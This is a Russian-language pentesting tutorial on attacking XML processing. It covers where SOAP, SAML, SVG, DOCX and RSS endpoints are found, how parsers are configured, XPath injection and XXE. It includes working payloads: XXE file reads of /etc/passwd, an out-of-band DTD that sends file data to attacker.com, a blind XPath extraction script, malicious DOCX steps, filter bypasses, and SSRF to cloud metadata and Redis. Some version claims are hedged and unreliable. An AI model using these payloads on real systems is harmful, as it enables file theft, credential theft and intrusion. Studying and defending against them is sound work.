XML жив, и он прячется там, где ты его не ждёшь.
SOAP-сервисы с документацией из 2005-го, SAML-федерации, которые настраивал стажёр, конфиги в XML-формате, которые тянутся из каменного века. И где-то в глубине всего этого - парсер, который доверяет всему, что ему скормили.
Знаешь, есть такой мем: «Каждый раз, когда кто-то объявляет технологию мёртвой, она устраивается на работу в корпорацию». XML - идеальный пример. На конференциях нам рассказывают про JSON:API, про Protobuf, про FlatBuffers. Все хвалят скорость, простоту, безопасность. А в это время где-то в подвалах банков, страховых компаний и государственных учреждений спокойно работают SOAP-сервисы, написанные в 2003 году. Они обрабатывают миллионы транзакций, и никому не приходит в голову их переписывать. Потому что это будет стоить миллионы долларов и годы тестирования. Зачем что-то менять, если оно и так работает?
1. XML Attack Surface: Где искать и как не пройти мимо
Прежде чем мы начнём долбить парсеры, нужно понять, где вообще может прятаться XML. Многие современные пентестеры сканируют порты, видят 80/443, запускают Dirb, находят пару PHP-скриптов и рапортуют «уязвимостей нет». А потом приходит чувак, который знает, где искать XML, и уносит базы данных.1.1. Где встречается XML: карта местности
Прежде чем мы начнём долбить парсеры и вставлять свои сущности, надо понять, где вообще искать XML в дикой природе. Это как с грибами: если не знаешь, где растут белые, можно весь лес обойти и ничего не найти. Я покажу тебе самые грибные места, расскажу, как они выглядят в трафике, как их обнаружить и на что обращать внимание.1.1. Где встречается XML: полный расклад по местности
XML не валяется под ногами, как JSON в современных REST API. Он прячется в специфических протоколах, форматах и legacy-системах. Но если знать, где копать, находки будут регулярными.SOAP API - классика жанра
Simple Object Access Protocol (SOAP) - это протокол обмена сообщениями на основе XML. Он был стандартом для веб-сервисов в нулевых, и многие корпоративные системы до сих пор его используют. Как правило, SOAP-сервисы описаны через WSDL (Web Services Description Language) - это тоже XML-документ, который определяет доступные методы, типы данных и эндпоинты.Где искать SOAP:
- Поддомены и пути: /soap, /services, /api/soap, /ws, /endpoint, /Service.svc (для WCF), /Service.asmx (для старых
Ссылка скрыта от гостей).
- Часто WSDL доступен по добавлению ?wsdl к эндпоинту:
Ссылка скрыта от гостей.
- В ответ на POST-запрос с Content-Type: text/xml сервер может вернуть SOAP Fault с описанием ошибки.
- SOAP-сервисы могут быть скрыты за общим API-шлюзом, но их можно обнаружить через анализ JavaScript (редко) или через старые ссылки в Wayback Machine.
XML:
POST /services/LoginService HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:authenticate"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Authenticate xmlns="http://tempuri.org/">
<username>admin</username>
<password>12345</password>
</Authenticate>
</soap:Body>
</soap:Envelope>
Ответ может содержать результат в XML или SOAP Fault.
Почему SOAP интересен:
SOAP-сервисы часто используют сложные XML-схемы и редко обновляются. В них можно найти XPath Injection, если внутри сервера данные извлекаются XPath-запросами, а также XXE, если парсер не отключает внешние сущности. Плюс SOAPAction - иногда уязвим для манипуляций (например, можно подставить другую операцию).
SAML SSO - врата в корпоративный рай
SAML (Security Assertion Markup Language) - это XML-формат для обмена данными аутентификации и авторизации между Identity Provider (IdP) и Service Provider (SP). Используется в Single Sign-On решениях: Okta, ADFS, Keycloak, Shibboleth и других.Где искать SAML:
- В HTML-формах входа: после ввода логина/пароля на IdP, браузер отправляет POST-запрос на SP с параметром SAMLResponse. Этот параметр содержит base64-encoded XML.
- В URL при Redirect binding: параметр SAMLRequest или SAMLResponse в строке запроса, тоже base64.
- Эндпоинты: /saml, /Shibboleth.sso, /auth/saml, /sso, /adfs/ls/ (для ADFS).
XML:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ...>
<saml:Subject>
<saml:NameID>john.doe@example.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
Почему SAML лакомый кусок:
SAML-сообщения часто подписываются, но подпись проверяется после парсинга XML. Если парсер уязвим для XXE, мы можем добавить DOCTYPE в начало сообщения, и подпись останется валидной (DOCTYPE не входит в подписываемые данные). Таким образом, можно читать файлы или делать SSRF через SAML-эндпоинт. Кроме того, некоторые реализации не проверяют подпись вообще или допускают атаки на XML Signature Wrapping.
RSS/Atom ленты - подписка на компрометацию
RSS (Really Simple Syndication) и Atom - форматы синдикации контента, основанные на XML. Многие сайты предоставляют ленты новостей, блогов, подкастов. Функция импорта RSS позволяет пользователю ввести URL фида, и сервер загружает и парсит этот XML.Где искать RSS/Atom:
- Страницы с иконками RSS, ссылками на /feed, /rss, /atom.xml.
- В админке CMS: импорт фидов, агрегаторы новостей.
- В настройках подкаст-плееров, если они веб-ориентированные.
XML:
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>Example Feed</title>
<link>http://example.com/</link>
<description>Latest news</description>
<item>
<title>News 1</title>
<link>http://example.com/news1</link>
</item>
</channel>
</rss>
Угроза:
Если сервер загружает фид по URL, который мы контролируем, мы можем подставить свой XML-документ, содержащий XXE. Сервер скачает его и обработает, что приведёт к чтению файлов или SSRF. Даже если фид кешируется, первая загрузка может быть опасна.
SVG-картинки - вектор в векторном формате
SVG (Scalable Vector Graphics) - это XML-формат для описания векторной графики. Поддерживается всеми браузерами, но нас интересует серверная обработка: генерация превью, конвертация в PNG, извлечение метаданных, проверка на вредоносность.Где искать SVG:
- Загрузка аватарок, логотипов, иконок.
- Функции генерации изображений на лету (например, создание графика).
- Конвертеры изображений (SVG в PNG, JPG).
XML:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
Если сервер рендерит SVG, текст может появиться на изображении. Даже если не появляется, парсер может обработать сущность и выполнить запрос.
Особенность:
В SVG можно использовать тег image с атрибутом xlink:href, указывающим на внешний ресурс. Это даёт SSRF без XXE: просто вставляем image xlink:href="
Ссылка скрыта от гостей
"/. Некоторые парсеры обрабатывают это.Office Open XML (DOCX, XLSX, PPTX) - троянский конь в документе
Форматы Microsoft Office (начиная с 2007) - это ZIP-архивы, содержащие множество XML-файлов. Например, в DOCX есть word/document.xml, word/styles.xml, docProps/core.xml и другие. Любой сервис, работающий с документами (конвертация в PDF, извлечение текста, проверка на вирусы, индексация), распаковывает эти архивы и парсит XML.Где искать обработку Office-документов:
- Веб-приложения для просмотра документов (Google Docs, Office Online).
- HR-системы, принимающие резюме в DOCX.
- Сервисы конвертации файлов.
- Платформы для совместной работы (SharePoint, ownCloud).
- Антивирусные шлюзы, сканирующие вложения.
- Создаём обычный документ, сохраняем как DOCX.
- Распаковываем: unzip doc.docx -d doc_unpacked.
- В файле word/document.xml перед корневым элементом w:document вставляем DOCTYPE с внешней сущностью, ссылающейся на файл или URL.
- В тело документа добавляем ссылку на сущность, например, в текст.
- Запаковываем обратно: cd doc_unpacked && zip -r ../malicious.docx *.
Конфигурационные файлы - настройки, которые нас настраивают
Многие приложения позволяют импортировать или экспортировать конфигурации в XML. Это могут быть настройки системы, правила, маппинги. Также конфиги могут читаться при старте приложения из внешних источников.Где искать импорт конфигов:
- Админ-панели: разделы "Импорт/экспорт", "Резервное копирование".
- API для управления конфигурацией.
- Загрузка файлов с расширением .xml в специальные разделы.
Если конфигурационный XML содержит внешнюю сущность, и парсер её обрабатывает, можно прочитать файлы сервера. Например, импорт настроек с !ENTITY xxe SYSTEM "file:///etc/shadow".
XML-RPC - старый конь
XML-RPC - протокол удалённого вызова процедур, использующий XML для кодирования запросов и HTTP в качестве транспорта. Использовался в различных CMS, например, в WordPress (xmlrpc.php). До сих пор включён по умолчанию во многих установках WordPress.Где искать XML-RPC:
- Пути: /xmlrpc.php, /xmlrpc, /RPC2.
- В WordPress также используется для pingback-атак.
XML:
<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param>
<value><string>admin</string></value>
</param>
<param>
<value><string>password</string></value>
</param>
</params>
</methodCall>
Потенциал:
Через XML-RPC можно не только вызывать методы, но и попытаться внедрить XXE, если парсер уязвим. Также XML-RPC может быть использован для брутфорса, DoS (pingback-флуд), SSRF (через pingback).
Прочие XML-форматы
- XSLT (eXtensible Stylesheet Language Transformations) - используется для преобразования XML в другие форматы. Если приложение позволяет загружать произвольные XSLT-стили, можно выполнить код (XSLT-инъекции, XXE).
- XLIFF - формат для локализации.
- FPML - финансовый протокол.
- XBRL - отчётность.
- OpenDocument (ODT, ODS) - форматы OpenOffice, тоже XML в ZIP.
Если хочется посмотреть на XML-атаки не только через список форматов вроде SOAP, SAML и SVG, а через саму логику XXE и поведение уязвимых парсеров, пригодится это руководство: XXE уязвимости.
1.2. XML-парсеры и их конфигурации: кто есть кто и чем дышит
Теперь, когда мы знаем, где искать XML, надо понять, что внутри этих приложений крутится. Разные языки и библиотеки по-разному обрабатывают XML, и уязвимости часто зависят от того, как настроен парсер. Давай пройдёмся по основным стекам.Java
В Java XML обрабатывается через JAXP (Java API for XML Processing). Основные способы парсинга:- DOM (Document Object Model) - загружает весь документ в память, строит дерево. Класс DocumentBuilder из DocumentBuilderFactory.
- SAX (Simple API for XML) - событийно-ориентированный, не хранит документ в памяти. Использует SAXParser.
- StAX (Streaming API for XML) - потоковый, с курсором. XMLInputFactory.
- XPath - выполнение запросов к XML, часто использует DOM под капотом.
Уязвимости XXE возникают, если включена обработка DTD и внешних сущностей. В Java за это отвечают фичи (features) парсера.
Для DocumentBuilderFactory:
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Отключаем DOCTYPE полностью (самый безопасный вариант)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Отключаем внешние сущности
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Также можно отключить загрузку DTD
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Важно:
- По умолчанию в старых JDK (до 7u40, 8u20) внешние сущности включены.
- Даже если отключены внешние сущности, может оставаться возможность XXE через параметрические сущности, если не отключены external-parameter-entities.
- Некоторые разработчики используют setXIncludeAware(true), что может привести к XInclude-атакам (загрузка внешних файлов через xi:include). XInclude тоже надо отключать.
XPath при использовании XPath.evaluate() с документом, полученным из небезопасного парсера, наследует его уязвимости.
Python
В Python несколько популярных библиотек:- xml.etree.ElementTree (встроенная) - уязвима по умолчанию до Python 3.7? Начиная с 3.7.1, предупреждает, но не отключает. В любом случае, надо использовать defusedxml.
- lxml - сторонняя, мощная, но по умолчанию обрабатывает внешние сущности. Можно отключить через парсер: parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
- minidom, sax - встроенные, уязвимы.
- defusedxml - специально созданная для безопасной работы с XML, заменяет стандартные модули. Если разработчик её использует, то скорее всего безопасно. Но многие даже не знают о её существовании.
Python:
from lxml import etree
xml = """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>"""
root = etree.fromstring(xml) # по умолчанию загрузит внешнюю сущность
print(root.text)
Безопасный вариант:
Python:
parser = etree.XMLParser(resolve_entities=False, no_network=True)
root = etree.fromstring(xml, parser)
PHP
PHP использует libxml2. Функции: simplexml_load_string, DOMDocument::loadXML, xml_parse и другие. Загрузка внешних сущностей контролируется функцией libxml_disable_entity_loader().Пример уязвимости:
PHP:
$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml); // если внешние сущности не отключены, то XXE сработает
echo $doc->data;
Безопасно:
PHP:
libxml_disable_entity_loader(true);
$doc = simplexml_load_string($xml);
Важно:
- В PHP до версии 8.0 функция libxml_disable_entity_loader влияет только на загрузку внешних сущностей, но не на парсинг DTD. DTD всё равно может быть обработан, и если в нём есть параметрические сущности, они могут быть раскрыты. Полное отключение DTD возможно через опции парсера, например LIBXML_NOENT и LIBXML_DTDLOAD могут быть опасны.
- Начиная с PHP 8.0, поведение по умолчанию изменилось: внешние сущности отключены, но это касается новых функций? Надо проверять.
.NET (C#)
В .NET XML обрабатывается классами XmlDocument, XDocument (LINQ to XML), XmlReader, XmlTextReader. Настройки безопасности задаются через XmlReaderSettings.Пример уязвимого кода:
C#:
XmlDocument doc = new XmlDocument();
doc.LoadXml(xml); // по умолчанию может загружать внешние сущности в старых версиях
Безопасно:
C#:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // запрет DTD
settings.XmlResolver = null; // отключаем разрешение внешних ресурсов
using (XmlReader reader = XmlReader.Create(new StringReader(xml), settings))
{
XmlDocument doc = new XmlDocument();
doc.Load(reader);
}
Примечание:
- В .NET Framework 4.5.2 и выше по умолчанию XmlResolver равен null для XmlDocument.Load, но не для всех перегрузок.
- XDocument (LINQ to XML) также требует настройки через XmlReader.
Ruby
В Ruby популярны библиотеки REXML (встроенная) и Nokogiri. Обе уязвимы по умолчанию.REXML: нужно отключать внешние сущности через REXML:
Nokogiri:
Ruby:
doc = Nokogiri::XML.parse(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::DTDLOAD
end
Это включает обработку сущностей, что опасно. Безопасно: config.options = Nokogiri::XML:
Go
Встроенный пакет encoding/xml не поддерживает DTD и внешние сущности. Это большая удача, потому что Go из коробки безопасен от XXE. Однако, если используются сторонние библиотеки, например xmlquery или xpath, которые могут подключать другие парсеры, надо проверять.Node.js
В Node.js популярны модули libxmljs, xml2js, xmldom. Многие из них уязвимы по умолчанию.- libxmljs: можно отключить сущности через опции.
- xml2js: использует sax-парсер, который может быть уязвим.
- xmldom: уязвим, если не отключить сущности.
JavaScript:
const libxmljs = require('libxmljs');
const xml = '...';
const doc = libxmljs.parseXml(xml, { noent: false, dtdload: false }); // noent: false отключает замену сущностей
1.3. Тестирование: обнаружение XML-processing endpoints
Теперь самая весёлая часть - как найти эти эндпоинты в реальном приложении. Я поделюсь методами, которые использую сам.Анализ трафика в Burp Suite / ZAP
Это база. Включаем перехват, ходим по сайту, смотрим на все запросы и ответы. Нас интересуют:- Content-Type: text/xml, application/xml, application/soap+xml, application/rss+xml, image/svg+xml.
- POST-запросы с XML в теле (даже если Content-Type не указан, тело может быть XML - смотри на структуру).
- Ответы, содержащие XML (например, SOAP Fault, RSS-ленты).
Фаззинг путей
Используй словари для поиска распространённых XML-эндпоинтов. В SecLists есть хорошие подборки: Discovery/Web-Content/soap.txt, Discovery/Web-Content/common_soap_paths.txt, Discovery/Web-Content/saml.txt. Можно использовать ffuf или dirb.Пример с ffuf:
Bash:
ffuf -u https://target.com/FUZZ -w /path/to/soap.txt -mc all -fc 404
Поиск в JavaScript
Иногда фронтенд формирует XML-запросы динамически. Ищи в JS-файлах строки: xml, soap, saml, "text/xml", "application/xml", "?xml". Часто можно найти эндпоинты, которые не видны в обычном HTML.Используй инструменты типа LinkFinder или просто grep по загруженным JS.
Wayback Machine и архивы
Сайты могли иметь XML-эндпоинты в прошлом, которые до сих пор работают. Используй waybackurls или gau (GetAllUrls) для сбора исторических URL.
Bash:
gau target.com | grep -E "\.xml|wsdl|soap|saml|rss|atom"
Анализ robots.txt и sitemap.xml
Иногда в robots.txt запрещают доступ к служебным путям, включая XML-эндпоинты. sitemap.xml сам по себе XML и может содержать ссылки на другие XML.Ручное тестирование
Если есть подозрение на эндпоинт, отправь простой XML-запрос и посмотри на реакцию.Например, отправь на любой эндпоинт, который ожидает POST:
XML:
<?xml version="1.0"?>
<test>hello</test>
Если вернётся ошибка парсинга (например, "XML parse error", "Content is not allowed in prolog", "Document is empty"), значит, эндпоинт обрабатывает XML. Если вернётся 400 Bad Request или что-то другое, возможно, это не XML-эндпоинт.
Для SOAP можно отправить корректный конверт с несуществующим методом:
XML:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<test/>
</soap:Body>
</soap:Envelope>
Часто в ответ придёт SOAP Fault, подтверждающий, что это SOAP-сервис.
Использование специализированных инструментов
- Burp Extensions: есть плагины для поиска XXE (например, "XXE Detector"), но они часто не работают. Лучше самому написать простой экстендер, который отправляет тестовые пейлоады.
- OpenVAS/Nessus: могут детектить известные XML-уязвимости, но это шумно.
- wfuzz с XML-пейлоадами: можно подставлять в параметры простые XML-инъекции.
Проверка на XXE и XPath на этапе разведки
Когда нашёл потенциальный XML-эндпоинт, можно сразу попробовать базовые пейлоады. Но будь осторожен: некоторые пейлоады могут вызвать отказ в обслуживании (например, Billion Laughs). Лучше начинать с безобидных:
XML:
<!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/hosts">]><root>&test;</root>
Когда очевидные эндпоинты уже проверены, следующий шаг - искать старые и забытые точки входа там, где их часто оставляют сами разработчики: в архивах, индексах и служебных файлах. Об этом мы рассказали в нашем руководстве: Раскройте тайны веб-приложений: искусство поиска утечек с Google.
2. XPath Injection: Забытый аналог SQLi
Пока все долбят SQL-инъекции, XPath Injection остаётся в тени. А зря. XPath - это язык запросов к XML-документам. Если приложение использует XPath для выборки данных из XML-файла (например, для аутентификации: //user[name='$username' and pass='$password']), и эти переменные подставляются без экранирования, мы можем манипулировать запросом.2.1. Как это работает
Представь XML-файл users.xml:
XML:
<?xml version="1.0"?>
<users>
<user>
<name>admin</name>
<pass>s3cr3t</pass>
<role>admin</role>
</user>
<user>
<name>ivan</name>
<pass>12345</pass>
<role>user</role>
</user>
</users>
На сервере выполняется XPath-запрос:
Код:
//user[name/text()='$username' and pass/text()='$password']
2.2. Authentication bypass
Введём в username: ' or '1'='1 (и любой пароль). Запрос станет:
Код:
//user[name/text()='' or '1'='1' and pass/text()='anything']
Код:
//user[name/text()='' or ('1'='1' and pass/text()='anything')]
Код:
//user[name/text()='' or true() or '' and pass/text()='anything']
Ещё вариант: ' or '1'='1' or 'x'='x - сбалансировать кавычки. Пример: username: ' or '1'='1, password: ' or '1'='1. Тогда:
Код:
//user[name/text()='' or '1'='1' and pass/text()='' or '1'='1']
Лучше использовать true(). Или 1 or 1 - в XPath число >0 считается true. Можно 1 вместо true().
Универсальный пейлоад для обхода: ' or 1=1 or ''='. В XPath нет оператора =, он называется eq, но в XPath 1.0 можно использовать = для сравнения строк? Да, = сравнивает строки. Но 1=1 - это сравнение чисел. В XPath 1.0 1=1 вернёт true. Так что ' or 1=1 or ''=' превратится в:
Код:
name/text()='' or 1=1 or ''='' and pass/text()='...'
Важно: XPath регистрозависимый. True() не то же самое, что true(). В XPath функции пишутся в нижнем регистре.
Пока все привыкли смотреть только в сторону SQLi, XPath-инъекции часто проходят мимо, хотя логика эксплуатации у них не менее интересная. Если хочется глубже разобраться именно в практической стороне XPath, пригодится этот материал: Техника быстрой эксплуатации XPath error based.
2.3. Blind XPath Injection
Если результат запроса не отображается напрямую (например, приходит только true/false: перенаправление на страницу успеха или ошибка), мы имеем дело с Boolean-based blind XPath injection. Это аналог Boolean-based SQLi.Нужно извлечь данные посимвольно. Для этого используем функции string-length() и substring() (или substring-before, substring-after в XPath 1.0).
Предположим, XML хранит данные, которые мы хотим вытащить. Например, есть узлы //user/name. Мы хотим узнать имена пользователей.
Алгоритм:
- Определить количество узлов: например, count(//user). Отправляем запрос с условием, которое возвращает true, если число больше N.
- Для каждого узла извлекаем длину строки: string-length(//user[position()=1]/name) X.
- Извлекаем символы: substring(//user[position()=1]/name, 1, 1) = 'a'.
Для XPath 1.0 есть функция translate() и работа с числами, но проще подбирать символы по одному.
Практический пример. Есть приложение с SOAP-методом login, который принимает XML:
XML:
<soap:Envelope ...>
<soap:Body>
<login>
<username>INJECT_HERE</username>
<password>xxx</password>
</login>
</soap:Body>
</soap:Envelope>
Ответ может быть либо true (успешный вход), либо false (ошибка). Используем это как оракул.
Пишем Python-скрипт для извлечения данных:
Python:
import requests
import string
url = "http://target.com/soap/endpoint"
headers = {"Content-Type": "text/xml"}
# Функция для отправки пейлоада и получения true/false
def oracle(payload):
xml = f"""<?xml version="1.0"?>
<soap:Envelope ...>
<soap:Body>
<login>
<username>{payload}</username>
<password>xxx</password>
</login>
</soap:Body>
</soap:Envelope>"""
resp = requests.post(url, data=xml, headers=headers)
# Допустим, успех определяется наличием строки "true" в ответе
return "true" in resp.text
# Определяем количество пользователей
for i in range(1,10):
payload = f"' or count(//user)={i} or '"
if oracle(payload):
print(f"Number of users: {i}")
break
# Определяем длину имени первого пользователя
for length in range(1,30):
payload = f"' or string-length(//user[1]/name)={length} or '"
if oracle(payload):
print(f"Length of first username: {length}")
break
# Извлекаем имя посимвольно
charset = string.ascii_letters + string.digits + "._-"
username = ""
for pos in range(1, length+1):
for c in charset:
payload = f"' or substring(//user[1]/name, {pos}, 1)='{c}' or '"
if oracle(payload):
username += c
print(f"Found: {username}")
break
print(f"Username: {username}")
В реальности нужно учитывать, что кавычки в пейлоаде могут сломать XML. В SOAP-запросе мы уже внутри значения тега, поэтому наши кавычки экранировать не надо, если они не конфликтуют с парсером XML. Но если в ответе используются одинарные кавычки для атрибутов, может потребоваться экранирование. В XPath строки можно заключать и в двойные кавычки. Лучше использовать чередование: если внешние кавычки двойные, внутри используем одинарные.
2.4. Инструменты для XPath Injection
Есть специализированные тулы, но они часто устарели. Например, xcat (аналог sqlmap для XPath). Но sqlmap тоже умеет детектить XPath инъекции (с модулем --technique=B). Однако вручную часто надёжнее.Я обычно пишу скрипты на Python под конкретный случай. Если лень писать самому, можно попробовать Burp Intruder с набором пейлоадов для Boolean-based. Но лучше автоматизировать.
2.5. Особенности XPath в разных реализациях
- XPath 1.0 vs 2.0/3.0: В новых версиях больше функций, но в вебе чаще 1.0.
- Регистрозависимость: функции в нижнем регистре.
- Типы: строки сравниваются с числами, происходит преобразование. '5' = 5 вернёт true.
- Обработка пустых узлов: если узла нет, string-length() вернёт 0? Нет, вызов на пустом наборе вернёт пустой набор, а сравнение с числом может привести к false. Лучше проверять существование через boolean(//user[1]).
2.6. Error-based XPath
Если ошибки парсинга XPath выводятся пользователю (например, в SOAP Fault), можно использовать их для извлечения данных. Например, вызвать деление на ноль: 1 div 0 - ошибка? В XPath нет деления на ноль, но можно использовать некорректную функцию. Или использовать функцию doc() для загрузки документа, которого нет - может вернуть ошибку с путём. Но это редкость.2.7. XPath Injection в RESTful API
Иногда XML передаётся в теле POST-запроса с Content-Type: application/xml. Там также возможна инъекция. Ищи параметры, которые подставляются в XPath.3. XXE Exploitation: Вскрываем внешние сущности
XXE (XML External Entity) - это когда парсер обрабатывает DTD и подгружает внешние ресурсы. Классика: читаем файлы, делаем SSRF, а иногда и RCE.3.1. Classic XXE: Чтение файлов
Простой пример уязвимого XML-парсера:
XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
Если приложение вернёт содержимое /etc/passwd внутри тега data - уязвимость подтверждена.
Но не всегда ответ содержит значение сущности. Иногда её вставляют в атрибут, или парсер может её не раскрывать. Тогда пробуем другие варианты.
3.2. SAML XXE: Атака на Identity Provider / Service Provider
SAML Response выглядит примерно так:
XML:
<samlp:Response ...>
<saml:Assertion ...>
...
</saml:Assertion>
</samlp:Response>
Это XML. Если Service Provider (SP) парсит его без отключения внешних сущностей, мы можем внедрить DTD в начало (перед корневым элементом). Проблема: SAML-сообщение часто подписано, но если проверка подписи отключена (бывает) или выполняется после парсинга, мы можем внедрить сущность, которая не нарушит подпись? Подпись обычно покрывает всё сообщение, и изменение содержимого сломает подпись. Однако есть нюансы:
- Подпись проверяется после парсинга: если парсер раскрыл сущности, подпись может быть проверена по расширенному документу, но оригинальный XML с DTD не подписан? В SAML подписывается Assertion или Response, а DTD находится вне подписи (до корневого элемента). DTD не является частью подписываемого контента, поэтому подпись остаётся валидной, но парсер обработает DTD до проверки подписи. То есть мы можем добавить DOCTYPE с внешней сущностью, и подпись останется корректной, если мы не меняем содержимое подписанных элементов. Это работает, если парсер не отбрасывает DOCTYPE как невалидный. Многие SAML-библиотеки ожидают строго определённый формат и могут упасть, если увидят DOCTYPE. Но если парсер позволяет DOCTYPE, то мы можем провести атаку.
XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ...>
<saml:Assertion ...>
...
</saml:Assertion>
</samlp:Response>
Если SP вернёт содержимое файла в каком-то поле (например, в сообщении об ошибке), то мы получили файл. Но чаще сущность подставляется туда, где она будет отображена. Можно попробовать вставить её в какое-нибудь поле, которое выводится (например, saml:Attribute Name="uid";&xxe;/saml:Attribute). Это требует модификации подписанного Assertion, что сломает подпись. Однако если подпись не проверяется, то всё ок.
В реальных пентестах я встречал ситуации, где Identity Provider (IdP) принимал SAML-запросы и парсил их. Можно было вставить XXE в SAML-запрос и получить SSRF в инфраструктуре IdP.
3.3. Out-of-Band XXE (OOB XXE)
Когда ответ не возвращает содержимое сущности, можно использовать внешний канал. Для этого нам нужен свой сервер, который ловит запросы. Суть: определяем параметрическую сущность, которая загружает внешний DTD, а в нём уже другая сущность, которая отправляет данные на наш сервер.Пример:
Злоумышленник размещает на своём сервере
Ссылка скрыта от гостей
:
XML:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
%param1;
А в XML-запросе отправляем:
XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>test</root>
Парсер загружает evil.dtd, в котором определяются параметрические сущности. %payload; читает файл, %param1; определяет новую сущность exfil, которая делает запрос на наш сервер, подставляя содержимое файла в URL. Проблема: URL может быть слишком длинным, данные надо кодировать. Вместо GET можно использовать DNS exfiltration или HTTP с телом, но через GET проще. Для длинных данных используют multipart или просто разбивают на части.
В Python можно написать сервер, который принимает и декодирует:
Python:
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
print("Got request:", self.path)
self.send_response(200)
self.end_headers()
server = HTTPServer(('0.0.0.0', 80), Handler)
server.serve_forever()
Но лучше использовать Burp Collaborator или свой сервер с логами.
3.4. XXE в SVG
SVG - это XML. Если сайт позволяет загружать SVG и затем отображает его (или генерирует PNG), то может сработать XXE. Пример SVG:
XML:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-family="Verdana" font-size="16" x="0" y="16">&xxe;</text>
</svg>
Если сервер рендерит SVG в растровое изображение, текст с содержимым файла может появиться на картинке. Также можно использовать тег image с внешним источником, чтобы сделать SSRF.
3.5. XXE в DOCX
DOCX - это ZIP-архив, содержащий XML-файлы: word/document.xml, [Content_Types].xml и другие. Можно добавить DTD в document.xml и вставить сущность. Пример создания вредоносного DOCX:- Создаём обычный документ, сохраняем как DOCX.
- Распаковываем: unzip doc.docx -d doc_unpacked.
- В файле word/document.xml перед корневым элементом w:document вставляем DOCTYPE с внешней сущностью, ссылающейся на файл.
- Также в теле документа вставляем ссылку на сущность, например, в тексте.
- Запаковываем обратно: cd doc_unpacked && zip -r ../malicious.docx *.
3.6. Обход фильтров
Иногда разработчики блокируют ключевые слова вроде !ENTITY, SYSTEM. Можно попробовать:- Использовать PUBLIC вместо SYSTEM: !ENTITY xxe PUBLIC "anything" "file:///etc/passwd"
- Использовать кодировки: UTF-7, UTF-16. Если парсер определяет кодировку из BOM или заголовка, можно перекодировать XML.
- Использовать параметрические сущности, чтобы скрыть строку SYSTEM: например, !ENTITY % sys "SYSTEM" !ENTITY xxe %sys; "file:///etc/passwd".
- Использовать внешний DTD: все ключевые слова уходят на внешний сервер, а в основном XML только !DOCTYPE foo SYSTEM "
Ссылка скрыта от гостей".
4. Escalation: От файлов к RCE
4.1. XXE → SSRF
Самый простой способ эскалации - использовать XXE для доступа к внутренним ресурсам. Например, заменить file:// на http:// и обращаться к внутренним серверам.Пример:
XML:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
Также можно просканировать внутренние порты: подставлять разные порты и анализировать время ответа или ошибки. Это SSRF.
4.2. XXE → RCE
Есть несколько путей:- PHP expect wrapper: если на сервере PHP и включена поддержка expect (редко, но бывает), можно выполнить команду: !ENTITY xxe SYSTEM "expect://id". Ответ вернёт вывод команды.
- Загрузка файла и его включение: если через XXE мы можем прочитать файл, который потом включается в код (например, log-файл с PHP-кодом), можно получить RCE. Это сложнее, требует стечения обстоятельств.
- SSRF во внутренние сервисы управления: например, доступ к Redis без пароля, через который можно выполнить команды (если Redis на localhost). Или к Hadoop YARN ResourceManager, который позволяет выполнять задачи. Или к Consul/etcd API. Или к метаданным облака, откуда получить ключи и уже через них управлять инфраструктурой.
- Java deserialization: если через XXE можно отправить запрос на внутренний сервер, который принимает сериализованные объекты (например, JMX), можно попробовать эксплойт.
XML:
<!ENTITY xxe SYSTEM "http://localhost:6379/">
Пример gopher:// для Redis: gopher://localhost:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a. Надо кодировать.
4.3. Извлечение всей XML-базы через XPath
